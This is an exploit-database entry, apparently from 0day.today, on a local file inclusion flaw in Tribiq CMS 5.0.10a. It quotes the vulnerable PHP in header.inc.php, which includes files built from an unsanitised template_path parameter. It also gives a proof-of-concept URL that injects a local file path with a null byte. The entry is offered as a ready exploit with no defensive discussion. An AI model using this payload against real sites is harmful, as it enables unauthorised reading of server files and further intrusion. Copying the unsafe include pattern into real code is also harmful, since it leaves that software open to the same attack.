Tribiq CMS 5.0.10a Local File Inclusion Vulnerability (win)

2008-10-31T00:00:00
ID 1337DAY-ID-3971
Type zdt
Reporter GoLd_M
Modified 2008-10-31T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===========================================================
Tribiq CMS 5.0.10a Local File Inclusion Vulnerability (win)
===========================================================


Tribiqcms 5.0.10a (beta) Local File Inclusion Vulnerability

Vuln Code In : /Community-5.0.10a/templates/mytribiqsite/tribal-GPL-1066/includes/header.inc.php

<div id="header">
  <div id="logo"> <img src="templates/<?php echo $template_path;?>/images/logo.gif" alt="Company Name" /> </div>
  <div id="language_selector">
    <?php include "templates/".$template_path."/includes/language_box.inc.php";?> <--x
  </div>
  <div id="search_box">
    <div id="searchbox_holder">
      <?php include "templates/".$template_path."/includes/searchbox.inc.php";?><--x
    </div>
  </div>
</div>

POC :
/templates/mytribiqsite/tribal-GPL-1066/includes/header.inc.php?template_path=Local File %00



#  0day.today [2018-03-14]  #